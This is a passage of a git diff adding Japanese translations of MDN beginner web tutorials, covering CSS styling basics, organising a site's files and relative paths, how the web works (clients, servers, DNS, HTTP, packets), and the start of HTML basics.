<li><code>border: 5px solid black;</code> — これは <code>body</code> の全側面に 5 ピクセル幅の黒ベタの境界線を設定するだけです。</li> +</ul> + +<h3 id="Positioning_and_styling_our_main_page_title" name="Positioning_and_styling_our_main_page_title">メインページタイトルの配置とスタイリング</h3> + +<pre class="brush: css notranslate">h1 { + margin: 0; + padding: 20px 0; + color: #00539F; + text-shadow: 3px 3px 1px black; +}</pre> + +<p><code>body</code> の上部にひどい隙間があることに気づいたかもしれません。これは CSS をまったく適用していなくても、ブラウザが {{htmlelement("h1")}} 要素 (他の中でも) に<strong>デフォルトのスタイル</strong>を適用するためです。それは悪い考えのように聞こえるかもしれませんが、私たちは未構築のウェブページでも基本的な読みやすさを求めています。ギャップをなくすには、<code>margin: 0;</code> を設定してデフォルトのスタイルを上書きします。</p> + +<p>次に見出しの上下のパディングを 20 ピクセルに設定し、見出しテキストを <code>html</code> の背景色と同じ色にしました。</p> + +<p>私たちがここで使ってきた興味深いプロパティの 1 つは、要素のテキストコンテンツにテキストシャドウを適用する <code>text-shadow</code> です。その 4 つの値は次のとおりです。</p> + +<ul> + <li>最初のピクセル値は、テキストからのシャドウの<strong>水平オフセット</strong>を設定します。移動する距離は負の値で、左に移動する必要があります。</li> + <li>2 番目のピクセル値は、テキストからシャドウの<strong>垂直オフセット</strong>を設定します (この例では、どれだけ下に移動するか)。負の値では上に移動します。</li> + <li>3 番目のピクセル値は影の<strong>ぼかし半径</strong>を設定します。値が大きいほど影がぼやけることを意味します。</li> + <li>4 番目の色は影の基本色を設定します。</li> +</ul> + +<p>繰り返しますが、さまざまな値を試してみてください。</p> + +<h3 id="Centering_the_image" name="Centering_the_image">画像のセンタリング</h3> + +<pre class="brush: css notranslate">img { + display: block; + margin: 0 auto; +}</pre> + +<p>最後に画像をよりよく見えるように中央に配置します。以前は <code>body</code> のために実施したことと同じようにもう一度 <code>margin: 0 auto</code> トリックを使うことができましたが、何か別のことをする必要もあります。<code>body</code> 要素は<strong>ブロックレベル</strong>です。つまり、ページ上のスペースを占有し、マージンや他のスペーシング値を適用することができます。一方、イメージは<strong>インライン</strong>要素でありできないことを意味します。画像にマージンを適用するには、<code>display: block;</code> を使用して画像のブロックレベルの動作を指定する必要があります。</p> + +<div class="note"> +<p><strong>注</strong>: 上記の手順では、本体に設定されている幅 (600ピクセル) よりも小さい画像を使用していることを前提としています。画像が大きい場合、それは本文をオーバーフローし、ページの残りの部分にはみ出します。これを修正するには、1) グラフィックスエディタを使用してイメージの幅を縮小するか、2) <code><img></code> 要素の {{cssxref("width")}} プロパティを小さな値、例えば <code>400 px;</code> に設定することで、 CSS を使用してイメージのサイズを変更します。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: あなたがまだ <code>display: block;</code> とブロックレベル/インラインの区別を理解していなくても、心配しないでください。CSS をもっと深く勉強することが出来ます。使用可能なさまざまな表示値の詳細については、<a href="/ja/docs/Web/CSS/display">display のリファレンスページ</a><span lang="ja">を参照してください。</span></p> +</div> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>この記事のすべての手順に従っている場合は、次のようなページが表示されます (<a href="http://mdn.github.io/beginner-html-site-styled/">このリンクから我々が作成したバージョンを見る</a>こともできます)。</p> + +<p><img alt="a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p> + +<p>もしわからなくなった場合、<a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">Github の完成したサンプルコード</a>と作業内容を常に比較することができます。</p> + +<p>ここでは、CSS の表面に少し触れただけです。詳細については、<a href="https://developer.mozilla.org/ja/docs/Learn/CSS">CSS の学習トピック</a><span lang="ja">をご覧ください。 </span></p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">ウェブサイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">ウェブサイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">ウェブのしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/ja/learn/getting_started_with_the_web/dealing_with_files/index.html new file mode 100644 index 0000000000..cdc3e3a336 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -0,0 +1,117 @@ +--- +title: ファイルの扱い +slug: Learn/Getting_started_with_the_web/Dealing_with_files +tags: + - Beginner + - CodingScripting + - Files + - HTML + - 'l10n:priority' + - theory + - website + - ガイド +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>Web サイトは、テキストコンテンツ、コード、スタイルシート、メディアコンテンツなど、多くのファイルで構成されています。Web サイトを構築するときは、これらのファイルをローカルコンピュータ上の合理的な構造に組み立て、互いに呼び出すことができるようにして、最終的に<a href="/Learn/Getting_started_with_the_web/Publishing_your_website">サーバにアップロード</a>する前に、すべてのコンテンツを正しいものにする必要があります。<em>ファイルの扱い</em>では、Web サイトに合理的なファイル構造を設定できるように、注意すべきいくつかの問題について説明します。</p> +</div> + +<h2 id="Where_should_your_website_live_on_your_computer" name="Where_should_your_website_live_on_your_computer">コンピュータ上で Web サイトがあるべき場所</h2> + +<p>自分のコンピュータ上の Web サイトでローカルに作業している時、関連するすべてのファイルを、サーバ上に公開された Web サイトのファイル構造のミラーである単一のフォルダに保持する必要があります。このフォルダは好きな場所に置くことができますが、簡単に見つけることができる場所、たとえばデスクトップ上、ホームフォルダの中、またはハードディスクのルートなどに置いてください。</p> + +<ol> + <li>Web サイトプロジェクトを保存する場所を選択してください。ここでは <code>web-projects</code> (またはそれに類するもの) という新しいフォルダを作成します。これは Web サイトのプロジェクト全てを保持するところです。</li> + <li>この最初のフォルダの中に、最初の Web サイトを格納する別のフォルダを作成します。それを <code>test-site</code> (またはもっと想像力のあるもの) と呼びましょう。</li> +</ol> + +<h2 id="An_aside_on_casing_and_spacing" name="An_aside_on_casing_and_spacing">大文字と空白の除外</h2> + +<p>この記事を通して、フォルダやファイルに空白のない全て小文字で名前を付けるよう求めていることに気が付くでしょう。その理由は次の通りです。</p> + +<ol> + <li>多くのコンピュータ、特に Web サーバでは、大文字と小文字が区別されます。例えば、あなたの Web サイトの <code>test-site/MyImage.jpg</code> に画像を置いて、別のファイルから画像を <code>test-site/myimage.jpg</code> として呼び出せば、それは動作しないかもしれません。</li> + <li>ブラウザ、Web サーバ、プログラミング言語は、空白の扱いが一貫していません。例えば、ファイル名に空白を使用すると、システムによってはそのファイル名を 2 つのファイル名として扱うことがあります。サーバによっては、ファイル名の空白を "%20" (URI の空白の文字コード) に置き換えるので、リンクが壊れてしまう結果になります。<code>my_file.html</code> のように単語をアンダースコアで区切るよりは、<code>my-file.html</code> のようにハイフンで区切る方がよいでしょう。</li> +</ol> + +<p>簡単に言えば、ファイル名にはハイフンを使うべきです。Google の検索エンジンはハイフンを単語の区切りとして扱いますが、アンダースコアはそうしません。このような理由から、少なくとも自分で判断できるようになるまでは、フォルダやファイルの名前を空白のない小文字にして、ダッシュで区切った方がいいでしょう。そうすれば、転んで道路に倒れることが少なくなるでしょう。</p> + +<h2 id="What_structure_should_your_website_have" name="What_structure_should_your_website_have">Web サイトはどのような構成にするべきか</h2> + +<p><span>次に、テストサイトがどのような構造を持つべきかを見てみましょう。私たちが作成する Web サイトプロジェクトで最も一般的なのは、index の HTML ファイルと、画像、スタイルシート、スクリプトファイルを入れるフォルダです。作成してみましょう。</span></p> + +<ol> + <li><code><strong>index.html</strong></code>: このファイルには、一般的にあなたのホームページの内容、つまりあなたが最初にあなたのサイトに行ったときに見るテキストと画像が含まれています。テキストエディターを使用して、<code>index.html</code> という名前の新しいファイルを作成し、<code>test-site</code> フォルダ内に保存します。</li> + <li><strong><code>images</code> フォルダ</strong>: このフォルダにはサイトで使用するすべての画像を入れます。<code>test-site</code> フォルダの中に <code>images</code> という名前のフォルダを作成します。</li> + <li><strong><code>styles</code> フォルダ</strong>: このフォルダには、コンテンツのスタイルを設定するための CSS コード（例えばテキストと背景色の設定など）を入れます。<code>test-site</code> のフォルダの中に <code>styles</code> というフォルダを作成します。</li> + <li><strong><code>scripts</code> フォルダ </strong>: このフォルダには、サイトにインタラクティブ機能を追加するために使用されるすべての JavaScript コード（クリックされたときにデータを読み込むボタンなど）が含まれます。<code>test-site</code> のフォルダの中に <code>scripts</code> というフォルダを作成します。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: Windows では、既定で有効になっている<strong>既知のファイルの種類の拡張子を表示しない</strong>というオプションがあるため、ファイル名の表示に問題が発生することがあります。一般に、Windows エクスプローラーで <strong>[フォルダオプション...]</strong> オプションを選択し、<strong>[登録されている拡張子は表示しない]</strong> チェックボックスをオフにし、<strong>[OK]</strong> をクリックすることで、これをオフにすることができます。お使いの Windows のバージョンに関する詳細な情報については、Web で検索してください。</p> +</div> + +<h2 id="File_paths" name="File_paths">ファイルパス</h2> + +<p>ファイルをお互いに呼び出すためには、ファイルパスを提供する必要があります。基本的には、あるファイルが別のファイルの場所を知っています。これを実証するために、<code>index.html</code> ファイルに短い HTML を挿入し、<a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどのような外見にするか</a>の記事で選択した画像を表示させます。あるいは、コンピュータ上またはウェブ上の既存の画像を自由に選択して、以下の手順で使用することができます。</p> + +<ol> + <li>以前に選択した画像を <code>images</code> フォルダにコピーします。</li> + <li><code>index.html</code> ファイルを開き、次のコードをファイルに挿入します。それが今のところ何を意味するのか気にしないでください。シリーズの後半で構造を詳しく見ていきます。 + <pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My test page</title> + </head> + <body> + <img src="" alt="My test image"> + </body> +</html> </pre> + </li> + <li><code><img src="" alt="My test image"></code> という行は、ページに画像を挿入する HTML コードです。画像がどこにあるのかを HTML に伝える必要があります。画像は <em>images</em> ディレクトリ内にあり、<code>index.html</code> と同じディレクトリにあります。ファイル構造の中で <code>index.html</code> からその画像に移動するのに必要なファイルパスは <code>images/your-image-filename</code> です。例えば、私たちの画像は firefox-icon.png と呼ばれ、ファイルパスは <code>images/firefox-icon.png</code> です。</li> + <li><code>src=""</code> コードの二重引用符の間の HTML コードにファイルパスを挿入します。</li> + <li>HTML ファイルを保存し、Web ブラウザに読み込みます (ファイルをダブルクリックします)。新しい Web ページに画像が表示されます。</li> +</ol> + +<p><img alt="地球の周りに燃える狐を表した firefox のロゴのみを表示した基本的なウェブサイトのスクリーンショット。" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p> + +<p>ファイルパスの一般的なルールは次の通りです。</p> + +<ul> + <li>呼び出し元の HTML ファイルと同じディレクトリにある対象ファイルにリンクするには、ファイル名を使用します。例えば <code>my-image.jpg</code>。</li> + <li>サブディレクトリ内のファイルを参照するには、パスの前にディレクトリ名とスラッシュを入力します。例えば <code>subdirectory/my-image.jpg</code>。</li> + <li>呼び出し元の HTML ファイルの<strong>上階層</strong>のディレクトリ内にある対象ファイルにリンクするには、2 つのドットを記述します。例えば、<code>index.html</code> が <code>test-site</code> のサブフォルダ内にあり、<code>my-image.jpg</code> が <code>test-site</code> 内にある場合、<code>../my-image.jpg</code> を使用して <code>index.html</code> から <code>my-image.jpg</code> を参照できます。</li> + <li>例えば <code>../subdirectory/another-subdirectory/my-image.jpg</code> など、好きなだけ組み合わせることができます。</li> +</ul> + +<p>今のところ、これが知る必要があるすべてです。</p> + +<div class="note"> +<p><strong>注 </strong>: Windows のファイルシステムでは、スラッシュ (/) ではなくバックスラッシュまたは￥記号を使用します。(例 : <code>C:\windows</code>)。これは HTML では使用できません。Windows で Web サイトを開発している場合でも、コード内ではスラッシュを使用する必要があります。</p> +</div> + +<h2 id="What_else_should_be_done" name="What_else_should_be_done">他にするべきこと</h2> + +<p>今のところは以上です。フォルダ構造は次のようになります。</p> + +<p><img alt="macOS X の finder におけるファイル構造。images フォルダーに画像が入っており、scripts と styles フォルダーは空で、あと index.html がある" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/ja/learn/getting_started_with_the_web/how_the_web_works/index.html new file mode 100644 index 0000000000..8aaecfed16 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -0,0 +1,110 @@ +--- +title: Web のしくみ +slug: Learn/Getting_started_with_the_web/How_the_Web_works +tags: + - DNS + - HTTP + - IP + - Infrastructure + - TCP + - 'l10n:priority' + - クライアント + - サーバー + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/How_the_Web_works +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p><em>Web のしくみ</em>では、あなたがコンピュータや携帯電話の Web ブラウザで Web ページを見るときに起こることを簡単に説明します。</p> +</div> + +<p>この理論は、Web のコードを書く上ですぐにでも必要というわけではありませんが、背景で何が起きているのかを理解しておくと、いずれ役に立つでしょう。</p> + +<h2 id="Clients_and_servers" name="Clients_and_servers">クライアントとサーバ</h2> + +<p>Web に接続されたコンピュータは<strong>{{原語併記("クライアント", "client")}}</strong>と<strong>{{原語併記("サーバ", "server")}}</strong>と呼ばれます。これらがどのように相互作用するかを概略図で表すと次のようになります。</p> + +<p><img alt="Two circles representing client and server. An arrow labelled request is going from client to server, and an arrow labelled responses is going from server to client" src="https://mdn.mozillademos.org/files/17297/simple-client-server.png" style="height: 371px; width: 1193px;"></p> + +<ul> + <li>クライアントは、一般的な Web ユーザーが使うインターネットに接続されたデバイス (例えば Wi-Fi に接続されているコンピュータや、モバイルネットワークに接続されているスマートフォン) と、これらのデバイスで利用できる Web にアクセスするソフトウェア (ふつうは Firefox や Chrome などの Web ブラウザ) のことです。</li> + <li>サーバとは、Web ページ、サイト、アプリを保存しているコンピュータのことです。クライアントデバイスが Web ページにアクセスしたいときは、Web ページのコピーがサーバからクライアントにダウンロードされ、ユーザーの Web ブラウザに表示されます。</li> +</ul> + +<h2 id="The_other_parts_of_the_toolbox" name="The_other_parts_of_the_toolbox">道具箱の他の部分</h2> + +<p>もちろん上で説明したクライアントとサーバだけでなく、これら二つ以外にも、他に多くのものが関わっています。以下では、それについて説明します。</p> + +<p>いま、Web が道路であると想像してみましょう。道路の片端にクライアントがあり、そこは例えれば、あなたの自宅のようなものです。反対の端はサーバで、そこは例えれば、あなたが何かを買うお店のようなものです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p> + +<p>クライアントとサーバに加えて、以下のものにも触れなければなりません。</p> + +<ul> + <li><strong>インターネット接続</strong>： Web 上でデータの送受信をできるようにします。あなたの自宅とお店との間の通りのようなものです。</li> + <li><strong>TCP/IP</strong>： Transmission Control Protocol と Internet Protocol は、どのように Web 上をデータが動くのか、を定義した通信プロトコルです。これは注文したり、店に行ったり、物を買ったりするための通信手段や交通機関のようなものです。身近な例では、車やバイク (またはその辺りにあるもの) のようなものです。</li> + <li><strong>DNS</strong>： Domain Name Servers は Web サイトの住所録のようなものです。ブラウザに Web アドレスを入力すると、ブラウザは Web サイトを取得する前に DNS を見て、Web サイトの本当のアドレスを探します。ブラウザは Web サイトがどのサーバにいるかを探し出す必要があり、それで HTTP のメッセージを正しい場所 (下記参照) に送ることができます。これはお店の所在地を探してからお店に行くようなものです。</li> + <li><strong>HTTP：</strong> Hypertext Transfer Protocol は、クライアントとサーバが対話をする方法を定義するアプリケーション{{Glossary("Protocol" , "プロトコル")}}です。これは商品を注文するための言語のようなものです。</li> + <li><strong>コンポーネントファイル：</strong> Web サイトは多くの異なるファイルで構成されます。これはお店で複数の部品を買うようなものです。これらのファイルは主に2種類に当てはまります。 + <ul> + <li><strong>コードファイル</strong>: Web サイトは主に HTML、CSS、JavaScript から作られます。しかし、ちょっと後で他の技術にも出会うことになるでしょう。</li> + <li><strong>アセット</strong>: これは画像、音楽、動画、Word 文書、PDF といった Web サイトを構成するコード以外のすべての材料の集合的な名前です。</li> + </ul> + </li> +</ul> + +<h2 id="So_what_happens_exactly" name="So_what_happens_exactly">ならば何が起こるのか</h2> + +<p>ブラウザに Web アドレスを打ち込んだ時に何が起こっているかというと (お店に歩いていく例えでは)，</p> + +<ol> + <li>ブラウザは DNS サーバにアクセスし、Web サイトのあるサーバの実際のアドレスを探します (<strong>お店の住所を見つけます</strong>)</li> + <li>ブラウザはサーバに HTTP リクエストメッセージを送信して、Web サイトのコピーをクライアントに送るよう求めます (<strong>お店に行ってものを注文します</strong>)。このメッセージ、およびクライアントとサーバ間でやりとりされるその他すべてのデータは、TCP/IP を使用してインターネット経由で送信されます</li> + <li>サーバがクライアントのリクエストを承認すると、サーバはクライアントに 「200 OK」 というメッセージを送ります。これは「もちろんその Web サイトを見ることができます。どうぞ！」という意味です。そして Web サイトのファイルを、データパケットと呼ばれる一連の小さな{{原語併記("塊", "chunk")}}としてブラウザに送信し始めます (<strong>お店は商品を渡し、あなたは自宅に持って帰ります</strong>)</li> + <li>ブラウザは小さな塊を完全な Web サイトに組み立て、表示します (<strong>玄関にものが到着しました</strong> — 新しいピカピカのものです、すばらしい！)</li> +</ol> + +<h2 id="DNS_explained" name="DNS_explained">DNS の説明</h2> + +<p>実際の Web アドレスは、お気に入りの Web サイトを見つけるためにアドレスバーに入力するような、すばらしい、覚えやすい文字列ではありません。実際の Web アドレスは <code>63.245.217.105</code> のような特殊な数字です。</p> + +<p>これは、{{Glossary("IP Address", "IP アドレス")}} と呼ばれ、Web 上の一意の場所を表します。しかし、覚えにくいと思いませんか？だから、ドメインネームサーバが発明されたのです。これらは特別なサーバで、ブラウザに入力した Web アドレス ("mozilla.org" など) と Web サイトの実際の (IP) アドレスを対応させます。</p> + +<p>Web サイトには、IP アドレスを使用して直接アクセスできます。<a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a> のようなツールにドメインを打ち込むことで、Web サイトの IP アドレスを見つけることができます。</p> + +<h2 id="Packets_explained" name="Packets_explained">パケットの説明</h2> + +<p>先ほど、データがサーバからクライアントに送信される形式を説明するために、「パケット」という用語を使用しました。ここではどういう意味なのでしょうか。基本的に、Web 上でデータが送信されると、何千もの小さな塊として送信されるため、たくさんの異なるユーザーが同じ Web サイトを同時にダウンロードできます。Web サイトが単一の大きな塊として送信されるとすると、一度に1人のユーザーしかダウンロードできなくなるため、Web がとても非効率的になり、使うのが楽しくなくなるでしょう。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットはどのように動くのか</a></li> + <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — an Application-Level Protocol</a></li> + <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a></li> + <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: Response Codes</a></li> +</ul> + +<h2 id="Credit" name="Credit">クレジット表示</h2> + +<p>道路の写真: <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, by <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p> + +<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/html_basics/index.html b/files/ja/learn/getting_started_with_the_web/html_basics/index.html new file mode 100644 index 0000000000..aeaba9696e --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/html_basics/index.html @@ -0,0 +1,239 @@ +--- +title: HTML の基本 +slug: Learn/Getting_started_with_the_web/HTML_basics +tags: + - CodingScripting + - HTML + - Web + - 'l10n:priority' + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/HTML_basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>HTML (<strong>H</strong>yper<strong>t</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage、ハイパーテキスト・マークアップ・ランゲージ)は、 Web サイトのコンテンツに構造を指定するために使うコードです。具体的に言うと、構造というのは、段落や箇条書きのリスト、画像、テーブルなどのようなものです。タイトルが示すように、この記事では、HTML とその機能の基本的な理解ができるように説明します。</p> +</div> + +<h2 id="So_what_is_HTML_really" name="So_what_is_HTML_really">そもそも HTML とは</h2> + +<p>HTML はプログラミング言語ではありません。<em>マークアップ言語</em>と言って、コンテンツの構造を決めるものです。 HTML は <strong>{{Glossary("element", "要素")}}</strong> の集まりでできています。要素とは様々なコンテンツがどのように見えるか、またどのように動くかを表現するためにタグで囲まれたまとまりです。{{Glossary("tag", "タグ")}} は言葉や画像を表示したり、他のページに移動するハイパーリンクを作ったり、文字を斜体にしたり、大きくしたり小さくしたり、色々なことが出来ます。例えば、次の文を見てください。</p> + +<pre class="notranslate">My cat is very grumpy</pre> + +<p>上の文を単体で表示したいなら、段落タグ ({{htmlelement("p")}}) で文を囲うことでこれが段落であると指定することができます。</p> + +<pre class="brush: html notranslate"><p>My cat is very grumpy</p></pre> + +<h3 id="Anatomy_of_an_HTML_element" name="Anatomy_of_an_HTML_element">HTML 要素の中身</h3> + +<p>この段落要素についてもうちょっと詳しく見ていきましょう。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p> + +<p>要素は主に以下のようなもので構成されています:</p> + +<ol> + <li><strong>{{原語併記("開始タグ", "opening tag")}}:</strong> これは、要素の名前(今回は p)を<strong>山括弧</strong>で囲ったものです。どこから要素が始まっているのかやどこで効果が始まるのかを表しています。今回の場合どこから段落が始まるかを表しています。</li> + <li><strong>{{原語併記("終了タグ", "closing tag")}}:</strong> これは、要素名の前に<strong>スラッシュ</strong>が入っていることを除いて開始タグと同じです。どこで要素が終わっているかを表しています。今回の場合どこで段落が終わるかを表しています。終了タグの書き忘れは、初心者のよくある間違いで、正しく表示されません。</li> + <li><strong>{{原語併記("コンテンツ", "content")}}:</strong> 要素の内容です。今回の場合はただの文字です。</li> + <li><strong>{{原語併記("要素", "element")}}:</strong> 開始タグ、終了タグ、コンテンツで要素を構成します。</li> +</ol> + +<p>要素は{{原語併記("属性", "Attribute")}}を持つことが出来ます。このような感じです:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p> + +<p>属性とは要素に対し実際には表示されない追加情報を含んだものです。ここでは <code>class</code> が属性の<em>名前</em>で <code>editor-note</code> が属性の<em>値</em>です。 <code>class</code> 属性を使って要素に識別するための名前を与えていて、後でこの要素を指定してスタイルをつけたり様々なことができるようになります。</p> + +<p>属性は次のような形式です。</p> + +<ol> + <li>要素名 (すでにいくつか属性がある場合はひとつ前の属性) との間の空白</li> + <li>属性名とそれに続く等号</li> + <li>引用符で囲まれた属性の値</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: ASCII の空白 (または <code>"</code> <code>'</code> <code>`</code> <code>=</code> <code><</code> <code>></code> 文字) を含まない単純な属性値は引用符を付けないままにすることができますが、コードの一貫性と理解を容易にするため、すべての属性値を引用することをお勧めします。</p> +</div> + +<h3 id="Nesting_elements" name="Nesting_elements">要素のネスト</h3> + +<p>要素の中に他の要素を入れることも出来ます。これを<strong>ネスト</strong>(または入れ子)と言います。もしあなたの猫が「とっても」機嫌が悪いことを表したいとしたら、「とっても」という単語を {{htmlelement("strong")}} 要素に入れて単語の強調を表すことが出来ます。</p> + +<pre class="brush: html notranslate"><p>私のネコは<strong>とっても</strong>機嫌が悪い。</p></pre> + +<p>しかしながら要素のネストは正しく行われなければなりません。上記の例ではまず始めに {{htmlelement("p")}} 要素が開始され、その次に {{htmlelement("strong")}} 要素が開始されています。そうしたならば、必ず {{htmlelement("strong")}} 要素、 {{htmlelement("p")}} 要素の順で終了しなければなりません。次の例は間違いです。</p> + +<pre class="example-bad brush: html notranslate"><p>私の猫は<strong>とっても機嫌が悪い。</p></strong></pre> + +<p>要素は確実に他の要素の中もしくは外で開始し、終了する必要があります。上記の例のように要素が重複してしまうと、 Web ブラウザはあなたがしようとしていたことを推測してもっともよいと思われる解釈をするため、予期せぬ結果になることがあります。そうならないよう気を付けましょう！</p> + +<h3 id="Empty_elements" name="Empty_elements">空要素</h3> + +<p>コンテンツを持たない要素もあります。そのような要素を<strong>{{原語併記("空要素", "empty elements")}} </strong>と呼びます。 {{htmlelement("img")}} 要素を例に見ていきましょう。</p> + +<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="My test 